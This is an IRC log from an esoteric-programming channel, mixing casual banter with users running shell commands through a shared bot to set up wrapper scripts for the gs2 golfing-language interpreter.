PWD=/hackenv \ LANG=C \ HOME=/tmp \ SHLVL=1 \ _=/usr/bin/env 01:49:45 Elronnd: some commands behave simpler then 01:49:49 e.g. sort 01:50:01 ah, k 01:50:04 lang=c.... 01:50:08 ``` int main() {} 01:50:10 bash: -c: line 0: syntax error near unexpected token `(' \ bash: -c: line 0: `int main() {}' 01:50:13 lol 01:50:16 im an idiot 01:50:22 who does stupid things 01:50:32 -!- augur has joined. 01:50:45 tswett, x - y is always an ulp, right? 01:50:50 moon_: it's not what it's written in. it's for historical reasons used to name a locale that treats everything as ASCII with no fancy internationalization. 01:51:09 oh lol 01:51:25 moon_: 01:51:32 ? 01:51:41 main() { echo foo; echo bar; echo baz; }; main 01:51:57 Gah 01:52:01 ``` main() { echo foo; echo bar; echo baz; }; main 01:52:03 foo \ bar \ baz 01:52:04 Phantom_Hoover: sounds about right. 01:52:28 looks like pseudocode now 01:52:58 tswett: does it use denormalized numbers for 0? >:) 01:53:21 It'll do denormals, yeah. 01:53:46 ``` main() {} 01:53:48 bash: -c: line 0: syntax error near unexpected token `{}' \ bash: -c: line 0: `main() {}' 01:54:19 Elronnd: there's of course also `run, which is the HackEgo builtin version that cannot be overridden. 01:55:39 moon_: it's a bash function, not a C function. and bash doesn't really treat main() specially. 01:55:42 afaik 01:56:10 `` echo $'\U40441' 01:56:11 ​񀑁 01:56:30 -!- hppavilion[1] has joined. 01:56:33 oops 01:56:39 invalid character shachaf 01:56:48 you're an invalid character 01:56:49 hth 01:56:59 no 01:57:04 `` unidecode $'\U40441' 01:57:09 U+40441 - No such unicode character name in database \ UTF-8: f1 80 91 81 UTF-16BE: d8c1dc41 Decimal: 񀑁 \ 񀑁 (񀑁) \ Uppercase: U+40441 \ Category: Cn (Other, Not Assigned) 01:57:15 Anyway I got it wrong. 01:58:08 no.. im ☾_ 01:58:28 that's definitely an illegal character 01:58:33 `? ørjan 01:58:36 ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers. 01:58:45 http://www.itsnameisthemoon.com/ 01:58:54 Your name isn't the Moon. 01:59:09 http://faceofdisapproval.com/ 01:59:27 http://faceofgoaway.com/ 01:59:37 `learn ☾_ is moon_'s lawful twin. He's banned in the IRC RFC for being an invalid character. He sometimes eats papers. 01:59:41 Learned '☾_': ☾_ is moon_'s lawful twin. He's banned in the IRC RFC for being an invalid character. He sometimes eats papers. 02:00:25 Error 404: Site not found, did you mean http://faceofdisapproval.com/ , operator shachaf? 02:01:03 http://faceofstopbickeringyoutwo.com/ 02:01:20 http://faceofwhyamiinthischannel.com/index.pl 02:01:53 http://faceofwhydidimakealinkopeningbot/ 02:02:11 oerjan: See, this time it's perfectly legitimate to call it bickering. 02:02:15 http://faceofomgisitamemealready.no/ 02:03:11 https://whyisnobodyusingsslintheirurl.se/index.pyp 02:03:35 Oh, I see what I did wrong. 02:03:44 ftp://imfeelingoldfashioned.net/ 02:03:57 oh my god, fake url world 02:04:22 gopher://imfeelingreallyoldfashioned.org/ 02:04:35 `` echo $'\Ue0820' 02:04:36 ​󠠠 02:04:37 `` echo $'\Ue0820' | rnooodl | xxd 02:04:38 00000000000000: f3a0 a0a0 0a ..... 02:05:24 by the way oejan, i do not eat chlorine, acids, and treated woodpulps 02:05:56 moon_: no, but http://www.itsnameisthemoon.com/ 02:05:58 argh 02:06:11 * oerjan thought he still had it in the clipboard 02:06:12 No. 02:06:17 Gg 02:06:29 moon_: rice papers then? 02:06:38 Sure 02:07:32 beware, it's been cleaned with dihydrogen monoxide 02:07:44 *turns oerjan into ric- really, no then 02:08:02 Candy floss woven into paper (= 02:08:25 dandruff woven into paper 02:08:31 No 02:08:35 Edible paper 02:08:42 (i somehow managed to read candy floss as that for about 0.5 s) 02:08:52 i'm sure dandruff is edible hth 02:09:34 We put satellites in orbit, but there's absolutely nothing in orbyte 02:09:45 -!- Phantom_Hoover has quit (Remote host closed the connection). 02:10:14 hppavilion[1]: you could try and put them in a hole in the ground, but that would be orwellian 02:10:39 It also won't be very good satellites. 02:11:01 oerjan: It took me far too long to get that joke 02:11:09 (The joke is a well is a hole in the ground, right?) 02:11:12 . o O ( a satellite made of dark matter, orbiting _inside_ earth without affecting it ) 02:11:30 hppavilion[1]: *ding ding ding* 02:11:40 @massagues-lowd 02:11:40 Unknown command, try @list 02:11:46 @messages-lowd 02:11:46 You don't have any messages 02:13:31 `danddreclist 79 02:13:32 danddreclist 79: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex 02:14:15 Hm, typoglycemia doesn't work when the jumblation isn't random 02:14:27 Do you like this? 02:14:47 zzo38: I haven't read a danddreclist entry in many months. 02:14:54 Perhaps I've never read one. 02:15:19 Then why is your name on there? 02:15:27 I don't know. 02:15:55 Taht is, if you jsut irevnt the oedrr of the lrettes, it bemoces mcuh lses llbigee 02:16:30 * hppavilion[1] prays to the Great Finite State Machine he did that right 02:17:40 `learn Typoglycerine is an explosive that scrambles the letters inside a word. 02:17:43 Learned 'typoglycerine': Typoglycerine is an explosive that scrambles the letters inside a word. 02:18:05 lol 02:20:42 Wikipedia's "Related Pages" feature is absolutely terrible 02:21:07 you all forgot 'moonigen tri-iodide' 02:21:14 Typoglycemia links to (a) Email (b) J.R.R. Tolkien (c) Hillary Clinton 02:21:17 it causes the chat to explode with my messages 02:21:29 Pretty much every page seems to be related to Hillary Clinton in the minds of Wikipedia 02:21:33 lol 02:21:42 i bet hillary did it 02:23:50 moon_: Yes; there's a reason it also links to email, too 02:25:35 (diff | hist) . . Portmanteau‎; 22:20 . . (-51)‎ . . ‎DavidLeighEllis (talk | contribs)‎ (Revert to revision 722347404 dated 2016-05-27 14:21:54 by I dream of horses using popups) 02:26:12 'I dream of hoses using popups' 02:28:24 "Broken- a portmanteau of "bro" and "ken"- is a word signifying that an object is somehow damaged to defective to the degree that it can no longer serve its intended purpose" 02:28:44 ... 02:28:56 what is it with wikipedia and potmanteau 02:29:21 moon_: "Potmanteau: A portamanteau regarding cannabis" 02:29:41 .............. 02:31:18 hppavilion[1]: what related pages feature 02:31:28 oerjan: At the bottom of a wikipedia page 02:31:33 oerjan: There's a link to related pages 02:31:38 At least on english wikipedia 02:31:41 It's rather new 02:31:56 (not "see also" or "categories"; it's automated) 02:32:52 For example 02:33:07 https://en.wikipedia.org/wiki/Have_Some_Madeira_M'Dear links to Flanders and Swann, Hillary Clinton, and Paul McCartney 02:33:09 i don't see that 02:35:03 https://en.wikipedia.org/wiki/GNU goes to Free Software, GNU/Linux Naming Controversy, and Hillary Clinton 02:35:17 oerjan: It's the last thing to load, and I think it's brought in by JavaScript 02:35:23 Wait, I might have turned it on 02:35:32 It might be an experimental feature I enabled 02:35:42 figures 02:37:10 I love me some experimental unstable features 02:37:43 Yep, it's a gadget turned on under "Beta" 02:38:16 Also Hovercards 02:38:30 Wait, no, not gadget; beta featrures 02:39:31 right 02:40:38 Wikipedia has an option called "(This loads the base style for the watchlist. Please do not disable this option.)" 02:41:21 i saw that. 02:41:41 * oerjan thinks he's noticed Hovercards on some other wiki. 02:42:32 oerjan: I love the hovercards 02:45:44 wait, GNU goes ti hillary clinton? it might as well go to mathmatics, hillary is no-where near related 02:47:45 moon_: No, I was joking there 02:47:51 moon_: I hoped it would, but it didn't 02:47:52 oh lol good 02:47:56 moon_: It went to the GNU GPL 02:56:34 -!- moon_ has quit (Ping timeout: 250 seconds). 03:02:58 -!- FreeFull has joined. 03:53:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 03:54:56 [wiki] [[Deadfish]] https://esolangs.org/w/index.php?diff=47144&oldid=47142 * Oerjan * (-17) /* External resources */ template 03:58:01 [wiki] [[Palindrome]] https://esolangs.org/w/index.php?diff=47145&oldid=47143 * Oerjan * (-17) /* External resources */ template 04:00:15 -!- hppavilion[1] has joined. 04:04:01 [wiki] [[User talk:Jacek Michalak]] N https://esolangs.org/w/index.php?oldid=47146 * Oerjan * (+251) Welcome 04:08:48 -!- FreeFull has quit (Quit: Sleep). 04:14:57 -!- Moon_ has joined. 04:14:58 Hi 04:19:04 -!- Moon__ has joined. 04:19:20 -!- Moon_ has quit (Ping timeout: 250 seconds). 04:19:20 Bck 04:19:23 argh moons everywhere. get off my lawn! 04:19:32 (; 04:20:47 🌙_ didn't visit today 04:21:40 Made customized magma forge jobs use metal instead of making things out of coal Adjusted conflict code to stop taverngoers from joining siegers over petty grievances Fixed material overcount in adv site work menu 04:21:44 @ask b_jonas myname: but I mean, using grep for that is as much of a crime as using grep on ps output <-- what's wrong with that now ;_; 04:21:44 Consider it noted. 04:22:35 Df buglogs can be entertaining 04:22:40 Moon__: so basically, you buttressed your fortress? 04:23:04 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:23:23 No. I did make metal thrones out of coke however. 04:23:41 I don't own do 04:23:50 Toady one the great does 04:24:00 OKAY 04:25:46 Also,dwarf fortress is Turing complete 04:27:12 Was that caps or death speech 04:27:26 YES 04:27:47 Ok thanks 04:27:58 iOS displays it as caps 04:28:04 fancy 04:28:50 https://m.youtube.com/watch?v=j2cMHwo3nAU 04:30:04 FPS: 0-1 04:30:10 That stinks 04:30:17 * oerjan stealthily removes the m. 04:31:05 No 04:31:16 Don't steal my username letters 04:31:24 -!- zenobit has joined. 04:31:40 Hi 04:31:45 hi. 04:32:12 You new? 04:32:17 not really. 04:32:22 I've never seen y- kl 04:32:40 I was prepared to `welcome 04:32:43 ): 04:32:48 Moon__: it was from the youtube link hth 04:33:04 :P 04:33:53 We need newpe- I realized the chat from when I joined is almost 90% messages from me. 04:33:54 you cannot ever see zenobit because first you have to see the first half bit, then the next quarter, etc. 04:34:29 thank god. 04:34:31 someone gets it. 04:34:48 zenobit: wait, am i really the first? 04:35:01 Moon__: so are you moonologing 04:35:16 Haha very funny 04:35:25 oerjan: you are indeed. 04:35:59 zenobit: Oh. That's right. It can also be spelled zeno... I've always spelled it xeno. ._. 04:36:02 yay 04:36:12 zgrep: eyyy! 04:36:16 i think xeno is something else? 04:36:21 -!- Melvar` has joined. 04:36:42 Wikipedia redirects Xeno's Paradox to Zeno's Paradox 04:36:50 . 04:37:32 Hi melvar, you new? 04:38:03 -!- Melvar has quit (Ping timeout: 246 seconds). 04:38:05 I named my MOV architecture Zeno. nobody gets that either. 04:38:12 Lol 04:38:30 We all get. It now 04:39:36 Zena the Philosopher Princess 04:39:39 http://golf.shinh.org/p.rb?Turn+a+1d+array+into+a+5d+array 04:40:09 Ima just wait for a annoying esolang to be named moon_ 04:41:47 -!- Kaynato has quit (Ping timeout: 250 seconds). 04:41:50 Moon__: that's a ridiculously bad golf problem, especially once you know shinh.org cares only about getting the right output for the test case(s) 04:42:32 also, the output seems to have no connection to the question... 04:42:36 turn a 1D array into a 5D array? 04:43:14 keep it as a 1D array and compute a 1D index from a 5D vector. 04:44:02 zenobit: that's the description, but clearly not what it's doing. 04:44:12 That's why I pointed it out permanent 04:44:17 I didn't make it 04:47:31 * oerjan beats the haskell version with a trivial trick 04:47:41 zenobit: Your architecture will never finish executing an instruction, then? 04:48:15 -!- Melvar` has quit (Ping timeout: 276 seconds). 04:48:20 zgrep: you'd think, but somehow, it runs! 04:48:23 :O 04:48:41 https://bitbucket.org/little-bit/zeno 04:48:55 -!- Melvar` has joined. 04:49:49 Hi 04:49:51 U new? 04:54:57 oh, when i tried doing it properly, i just tied them 04:55:27 Melvar` is very old 04:56:32 Oh 04:56:57 https://github.com/nooodl/gs2 golfscript 2. Makes a n sized as trick triangle in 7 bytes 04:57:18 *astrick 04:57:21 * oerjan shaves off a byte 04:57:24 I can't spell 04:57:37 Golfscript does it in 11 04:58:22 ByteShave... as opposed to BurmaShave... 04:58:45 If you are playing at Magic: the Gathering, will you counteract provoke by convoke? 04:58:57 oh that was better 04:59:05 down to 42 04:59:21 What are you doing? 04:59:44 Moon__: solving the golf problem in haskell 05:00:30 Lol 05:00:43 Try gs2, it might do it really we'll 05:01:11 i don't know gs2 and i don't really care 05:04:19 `brand 2 05:04:25 1110101110 05:04:43 '`brand 3 05:04:46 -!- Melvar`` has joined. 05:04:49 `card-by-name provoke 05:04:51 Provoke \ 1G \ Instant \ Untap target creature you don't control. That creature blocks this turn if able. \ Draw a card. \ ST-C, CNS-C, VMA-C 05:04:53 `card-by-name convoke 05:04:53 No output. 05:05:01 `brand 3 05:05:03 2000000121 05:05:13 Oh, convoke is a keyword. 05:05:20 shachaf: No, I mean keyword abilities provoke/convoke 05:05:35 -!- Melvar` has quit (Ping timeout: 260 seconds). 05:05:38 Oh, provoke is also a keyword. 05:06:02 zzo38: Seems unlikely but possible. 05:06:11 Do you play at Magic: the Gathering? 05:06:40 Not very often. 05:07:27 Do you play at Friday Night Magic™? 05:07:35 No 05:07:55 I have sometimes played on Thursday though. 05:09:20 With your brother? 05:09:38 In the tournament actually 05:09:51 Which tournament? 05:09:58 Sometimes they have draft tournament on Thursday 05:10:13 Grand Prix Vancouver? 05:10:15 Oh. 05:10:32 -!- Melvar has joined. 05:10:53 No it is just a game store 05:11:49 We should play. It would be great. 05:12:07 -!- Melvar`` has quit (Ping timeout: 250 seconds). 05:18:37 -!- Melvar has quit (Ping timeout: 250 seconds). 05:18:56 -!- Moon__ has quit (Quit: Page closed). 05:19:20 @tell Moon__ Please don't /msg me without asking in-channel first unless there's a good reason. 05:19:20 Consider it noted. 05:19:36 -!- Melvar has joined. 05:19:55 eyyy, it's zzo38. 05:19:58 hi from #nesdev. 05:20:21 -!- Moon_ has joined. 05:21:06 darn iOS reloaded the page. I think 05:21:18 zenobit: OK, what is your other questions/complaints/suggestion please? 05:21:27 ..just saying hi. 05:21:31 OK 05:23:41 -!- Melvar` has joined. 05:23:57 Zzo38, I noticed flogscript 05:24:00 I like it 05:24:29 Is an interpreter available 05:25:57 -!- Melvar has quit (Ping timeout: 244 seconds). 05:26:00 Yes 05:26:14 But, it is written in PHP, so you will need to install PHP to use it. 05:26:41 ): 05:27:01 And ok I get it shachaf 05:27:06 I read logs you know 05:27:07 (This was probably a bad idea, but that is what it is, anyways) 05:27:25 It certainly was 05:28:34 -!- hppavilion[1] has joined. 05:28:42 Hi 05:29:13 Also, does anyone know how to get the gs2c.py and the gs2.py files in bin yo work? 05:29:29 I need them to execute 05:29:48 But python is being stubborn 05:30:17 Is it the wrong version of Python? 05:30:27 -!- APic has quit (Ping timeout: 264 seconds). 05:30:33 -!- heroux has quit (Ping timeout: 246 seconds). 05:30:36 No python thinks they don't exist 05:30:59 Anyone willing to insert the tag that will make the shell use python to execute them? 05:31:21 I'm stupid and don't get how lol 05:32:49 Add a shebang line and use chmod +x is I think how to do. But you could just to use the "python" command I think, shouldn't that work? 05:33:29 I tried 05:33:45 `python /bin/gs2.py 05:33:48 python: can't open file '/bin/gs2.py': [Errno 2] No such file or directory 05:34:16 `python bin/gs2.py 05:34:18 usage: python bin/gs2.py [-d] 05:34:24 Oh 05:34:26 That was what you did wrong. 05:34:48 `mkx gs2//python bin/gs2.py 05:34:52 gs2 05:35:06 `mkx gs2c//python bin/gs2c.py 05:35:09 gs2c 05:36:12 Thx 05:36:18 `gs2c 05:36:19 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: gs2c: not found 05:36:37 `mv gs2c bin/gs2c 05:36:38 mv: missing destination file operand after `gs2c bin/gs2c' \ Try `mv --help' for more information. 05:36:43 ... 05:36:49 I'm tired, ok? 05:36:57 wtf is even gs2. 05:37:05 Golfscript2 05:37:08 ah. 05:37:19 https://github.com/nooodl/gs2 05:39:44 -!- APic has joined. 05:40:42 Hi 05:41:19 Does bash have a way to use hex numbers? 05:41:28 `head gs2.py 05:41:30 head: cannot open `gs2.py' for reading: No such file or directory 05:41:35 `head bin/gs2.py 05:41:36 ​# gs2 interpreter (version 0.2) \ # (c) nooodl 2014 \ \ import copy \ import inspect \ import itertools as it \ import math \ import operator \ import os \ import random 05:41:55 `` ls interps/gs* 05:41:57 ls: cannot access interps/gs*: No such file or directory 05:42:02 `` ls interps/ 05:42:04 1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gccccccccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unl 05:42:17 nah 05:42:39 ? 05:43:32 i'm too tired too 05:43:47 Lol 05:43:57 I'm on iOS, makes it worse 05:45:39 `` echo 0xAA 05:45:42 0xAA 05:47:12 Apparently it does, says the internet 05:47:13 well then. 05:47:42 `` echo (0xA + 1) 05:47:44 ​/hackenv/bin/`: eval: line 4: syntax error near unexpected token `0xA' \ /hackenv/bin/`: eval: line 4: `echo (0xA + 1)' 05:48:59 `` printf "0x%X\n" $(( 0x4f000+0x2000 )) 05:49:01 0x510000 05:49:08 Yes it does 05:49:18 Bash is lieing to me 05:50:54 > 0x4f000+0x2000 05:50:55 331776 05:51:05 > showHex (0x4f000+0x2000) "" 05:51:07 "51000" 05:51:33 strange extra 0 05:54:05 `gs2c 05:54:06 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: gs2c: not found 05:54:13 `gs2 05:54:14 python: can't open file '/bin/gs2.py': [Errno 2] No such file or directory 05:54:45 `` mv gs2.py bin/gs2.py 05:54:46 mv: cannot stat `gs2.py': No such file or directory 05:54:55 ... 05:55:35 `` mv gs2 bin/gs2 05:55:38 No output. 05:55:57 `` mv gs2c bin/gs2c 05:56:00 No output. 05:56:02 `gs2c 05:56:04 Traceback (most recent call last): \ File "bin/gs2c.py", line 13, in \ with open('gs2.py') as f: \ IOError: [Errno 2] No such file or directory: 'gs2.py' 05:56:33 Damn, anyone able to fix that using seed? 05:56:38 *sed 05:56:50 Wait I'm 05:56:53 Moon_: Plant a tree strategically and prune branches that grow to the wrong place 05:58:04 `sed 's/open('gs2.py')/open('bin/gs2.py')/' bin/gs2c.py 05:58:06 sed: -e expression #1, char 1: unknown command: `'' 05:58:19 .-. 05:58:30 Ruth I'm too tired to deal with sed right now 05:58:38 *urgh 05:59:10 Moon_: DON'T BRING MY MOTHER INTO THIS 05:59:22 * hppavilion[1] waits to see if Moon_ gets the joke. If he does, he must die 05:59:36 ... 05:59:43 ? 06:00:07 It was iOS not me 06:00:14 Autocorrect shenanigans 06:01:42 `sed "s/('gs2.py')/('bin/gs2.py')/" bin/gs2c.py 06:01:44 sed: -e expression #1, char 1: unknown command: `"' 06:03:31 `` sed "s/('gs2.py')/('bin/gs2.py')/" bin/gs2c.py 06:03:32 sed: -e expression #1, char 21: unknown option to `s' 06:03:55 * Moon_ goes insane, needs assistance 06:03:58 -!- jameseb has quit (Ping timeout: 250 seconds). 06:04:39 I'm serious, halo 06:04:45 *halp 06:05:33 I just murdered autocorect, i spelled it wrong to prove it 06:06:29 -!- jameseb has joined. 06:07:21 . 06:07:37 Hello? 06:07:40 I need halp 06:07:46 `gs2 06:07:48 usage: python bin/gs2.py [-d] 06:08:48 Hello? Oerjan? Hp? 06:09:19 Im lonely 06:09:22 `cat bin/gs2 06:09:24 python bin/gs2.py 06:09:31 Moon_: We're all lonely 06:09:32 ... 06:09:39 oerjan: I'm going to cry now 06:09:56 `` sed -i 's/$/ "$@"/' bin/gs2 06:09:59 No output. 06:10:00 Its gs2c.py that is erroring 06:10:27 `cat bin/gs2c.py 06:10:28 ​# gs2 compiler (version 0.2) \ # (c) nooodl 2014 \ \ import re \ import struct \ import sys \ \ if sys.platform == "win32": \ import os, msvcrt \ msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) \ \ mnemonics = {} \ with open('gs2.py') as f: \ for line in f: \ if '#=' in line: \ a, b = line.split('#=') \ 06:10:31 `cat bin/gs2c 06:10:32 python bin/gs2c.py 06:10:45 `` sed -i 's/$/ "$@"/' bin/gs2c 06:10:48 No output. 06:10:50 `cat bin/gs2c 06:10:51 python bin/gs2c.py "$@" 06:10:56 what about now. 06:11:23 `gs2c 06:11:25 Traceback (most recent call last): \ File "bin/gs2c.py", line 13, in \ with open('gs2.py') as f: \ IOError: [Errno 2] No such file or directory: 'gs2.py' 06:11:33 oh. 06:12:39 `` sed -i 's,gs2.py,bin/gs2.py,g' bin/gs2c.py 06:12:43 No output. 06:12:47 `gs2c 06:13:08 i think it might be trying to read from stdin. 06:13:18 No output. 06:14:08 -!- Moon__ has joined. 06:14:17 Freenode is annoying 06:14:22 seriously. 06:14:25 `gs2c 06:14:32 that just times out now 06:14:41 actually, i ment safari 06:14:53 you probably need to give it a program file. 06:14:56 No output. 06:15:28 * oerjan has no idea how gs2 works, anyway. 06:15:41 apart from being golfed. 06:15:54 -!- Moon_ has quit (Ping timeout: 250 seconds). 06:16:47 `` gs2c ,read-num range1 m: "*" times new-line' > tmp 06:16:48 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 06:16:56 .. 06:17:27 `` gs2c 'read-num range1 m: "*" times new-line' > tmp 06:17:29 ​/hackenv/bin/`: line 4: tmp: Is a directory 06:17:41 oops 06:18:10 `` gs2c 'read-num range1 m: "*" times new-line' > triangle 06:18:42 `` gs2 triangle 06:19:12 No output. 06:19:14 i'm not sure it takes input the way you think. have you tested it on your own computer? 06:19:15 Traceback (most recent call last): \ File "bin/gs2.py", line 299, in run \ self.evaluate(tokenize(self.code)) \ File "bin/gs2.py", line 169, in tokenize \ if prog[0] in '\x30\x31\x32': # set mode \ IndexError: string index out of range 06:19:51 oh 06:19:59 that might possibly have worked 06:20:08 .-. I usually trust this kind of code, and i have a openbsd i could test it on, not a linux 06:20:27 `cat triangle 06:20:29 No output. 06:20:38 `url triangle 06:20:40 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/triangle 06:20:49 `file triangle 06:20:50 triangle: empty 06:21:01 .-. 06:21:16 Moon__: i don't mean to test _if_ it works, but _how_ it works. 06:21:36 it's hard to make something work in HackEgo if you don't know how it works normally. 06:21:37 python gs2c.py < stars > compiled && echo 7 | python gs2.py compiled' was the example 06:21:47 aha 06:21:56 well what you did isn't that. 06:22:16 `mk stars//read-num range1 m: "*" times new-line 06:22:20 stars 06:22:21 guessing here 06:22:42 `` gs2c compiled 06:22:47 No output. 06:22:55 Space missed 06:22:58 `` gs2 compiled 06:23:01 Traceback (most recent call last): \ File "bin/gs2.py", line 299, in run \ self.evaluate(tokenize(self.code)) \ File "bin/gs2.py", line 850, in evaluate \ self.stack.append(nums[0] if t == '\x56' else nums) \ IndexError: list index out of range \ V/þ*2 06:23:03 `cat compiled 06:23:03 V/þ*2 06:23:13 ... 06:23:14 well it did _something_ 06:23:32 but, that doesn't look very golfed. 06:23:38 We might be missing a required library? 06:23:41 are you sure that's a gs2 program? 06:23:45 Mhm 06:23:53 Gs2 uses byte values 06:24:09 $33 (div, chunks, split, each, /)Divide numbers; splits a list in chunks of size n; split two lists; call block with each element of list. 06:24:22 i mean, read-num range1 m: "*" times new-line 06:24:22 $2c (square, words)Square numbers; split list into words. 06:24:26 Mhm 06:24:33 Thats the memonics 06:24:39 I think 06:24:39 might not be the actual program, just a ... right 06:24:50 so you need to make a file with the actual gs2 program. 06:24:56 hth 06:25:04 Check the gs2 github, its the example program 06:25:10 too lazy 06:25:31 * Moon__ shakes cane at oerjan before mowing down his lawn 06:25:57 * oerjan goes to shave 06:26:20 * Moon__ starts the lawn on fire 06:26:56 ``i 06:26:58 DID YOU REALLY 06:27:01 Lol 06:27:05 Who made that 06:27:16 ` culprits `i 06:27:16 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 06:27:30 `culprits `i 06:27:36 No output. 06:27:39 ... 06:27:47 No-one is not possible 06:27:57 *shakes hackegos server* 06:28:23 `rm `i 06:28:24 rm: cannot remove ``i': No such file or directory 06:28:29 Not needed 06:28:40 `rm bin/`8 06:28:40 rm: cannot remove `bin/`8': No such file or directory 06:28:50 `rm bin/`i 06:28:53 No output. 06:30:14 Oerjan, can i clean up /bin for junk commands? That only echo or are copys 06:31:09 `culprits bin/buttsnack 06:31:14 tswett tswett oerjan elliott mrhmouse mrhmouse mrhmouse mrhmouse 06:31:17 ... 06:31:34 `rm bin/buttsnack 06:31:36 No output. 06:35:18 U there oerjan? 06:35:20 Oerjan 06:35:23 Beep 06:41:54 -!- Moon__ has quit (Ping timeout: 250 seconds). 06:48:19 `` echo 'read-num range1 m: "*" times new-line' | gs2c > /tmp/tmp.gs2 && echo 5 | gs2 /tmp/tmp.gs2 06:48:23 ​* \ ** \ *** \ **** \ ***** 06:48:35 Just needs input. 06:51:19 `` rm compiled stars triangle # cruft 06:51:23 No output. 06:54:14 Could make those wrappers a bit more friendly though. 06:56:35 `` sed -e s/\(.*\) ".*/echo "$@" | \1/' bin/gs2c 06:56:36 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `"' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 06:56:47 `` sed -e 's/\(.*\) ".*/echo "$@" | \1/' bin/gs2c 06:56:48 echo "$@" | python bin/gs2c.py 06:56:57 `` sed -i -e 's/\(.*\) ".*/echo "$@" | \1/' bin/gs2c 06:57:00 No output. 06:57:39 `` gs2c 'read-num range1 m: "*" times new-line' > /tmp/tmp.gs2 && echo 5 | gs2 /tmp/tmp.gs2 06:57:43 ​* \ ** \ *** \ **** \ ***** 06:58:21 `` mv bin/gs2 bin/gs2x 06:58:25 No output. 07:00:06 `mkx bin/gs2//gs2c "$@" > /tmp/tmp.gs2 && gs2x /tmp/tmp.gs2 07:00:10 bin/gs2 07:00:37 `` echo 5 | gs2 'read-num range1 m: "*" times new-line' 07:00:39 ​* \ ** \ *** \ **** \ ***** 07:02:05 Would've gone without the file in /tmp but it didn't want to read from a <(...) 07:05:47 Oerjan, can i clean up /bin for junk commands? That only echo or are copys <-- no. 07:06:08 -!- Moon_ has joined. 07:08:07 I can think of some commands that could use cleaning up. 07:08:28 `hogue junk 07:08:31 ` rm -r junk # it\'s junk \ rm junk/foo \ rm junk/hia \ ` rm junk/???????? \ ` dos2unix junk/ReUariBw; cat junk/ReUariBw \ ` mv junk/99 src/99.sh \ ` mv junk/cat emoticons \ ` mv junk/:-D emoticons \ dos2unix junk/BGTV9E93 \ rm junk/Something.c \ 07:08:34 fizzie: You deleted junk/?! 07:09:01 shachaf: It was junk. 07:09:23 How do you think `sport should to avoid noise? 07:09:36 I think wrapping at newlines wherever feasible isn't a bad idea. 07:09:53 should work 07:09:59 `` type sport 07:10:00 sport is /hackenv/bin/sport 07:10:04 I haven't been following the spam stuff at all, I don't even know what it is. 07:10:07 `` paste bin/sport 07:10:10 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/sport 07:10:34 All it does it write long output into tmp/spout and print it one line at a time. 07:10:42 I noticed the `buttsnack command 07:10:51 ew 07:10:53 `culprits buttsnack 07:11:05 No output. 07:11:13 That's what spore/spam does. sport merges lines into ~330-byte chunks first. 07:11:21 I`culprits bin/buttsnack 07:11:45 `culprits bin/buttsnack 07:11:49 Moon__ tswett tswett oerjan elliott mrhmouse mrhmouse mrhmouse mrhmouse 07:12:04 You people are wierd, and my edit is called rm 07:12:23 Have you been editing in /msg again? 07:12:33 Don't do that. 07:12:39 No.. 07:12:45 and why? 07:12:54 Im avoiding chatspam 07:13:11 Because your edits are often destructive or vandalism. 07:13:19 I can think of some commands that could use cleaning up. <-- the "no." was specifically to Moon_. he honestly still messes up far too many of his own commands to clean up things for others. 07:13:21 And you're not avoiding chatspm. You're spamming the chat all the time. 07:13:45 S/chatspam/command spam/ 07:13:53 In the main chat 07:14:18 It took you three attempts to run that culprits command. 07:14:33 Im on ios 07:14:37 Gimmie a break 07:14:44 OK. 07:14:58 s/ios/ios and im tired/ 07:15:44 See how much better mobile platform Android is -- I did all that gs2 stuff from one and only screwed up once. 07:15:44 Ima stop messing around in hackego for tonight, lest i break something horribly 07:16:02 Lol ik, but my tablet is missing 07:16:11 So i just have this ipad 07:16:15 fizzie: With which client? 07:16:30 shachaf: JuiceSSH. 07:16:39 I use JuiceSSH too. 07:16:50 Oh you fixed all my gs2.py mistakes? 07:16:54 Do you know a way to write text in the text input box thing and then enter it into the terminal without a newline? 07:17:08 Is it possible to make up a puzzle that is somehow both a chess puzzle and a Magic: the Gathering puzzle, that involves both elements that can somehow interact or something like that? 07:17:17 I used to use the other one, but had to stop because of something. 07:18:05 I think the same is true for me. 07:18:09 Also JuiceSSH supports mosh. 07:18:16 shachaf: No, except by copying it out of the textbox and pasting it in. 07:18:25 Oh, that's a good plan. 07:19:44 zzo38: Well, you can write a Chess simulator in Magic: the Gathering. 07:20:34 shachaf: I did think of that, but that is not what I meant. 07:21:07 So did you fix gs2.py? 07:21:19 `ls 07:21:21 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf 07:21:55 Moon: There was nothing to fix, it just needed to be used properly. I did make the wrappers more friendly though. 07:22:05 `` echo 5 | gs2 'read-num range1 m: "*" times new-line' 07:22:08 ​* \ ** \ *** \ **** \ ***** 07:22:17 Oyay 07:22:25 Thanks fizzie 07:22:56 Load directly from file support still there? 07:23:56 oh hm 07:24:21 Becaue loading a compiled file is still helpful 07:24:22 `cat bin/gs2 07:24:23 gs2c "$@" > /tmp/tmp.gs2 && gs2x /tmp/tmp.gs2 07:24:43 `cat bin/gs2c 07:24:44 echo "$@" | 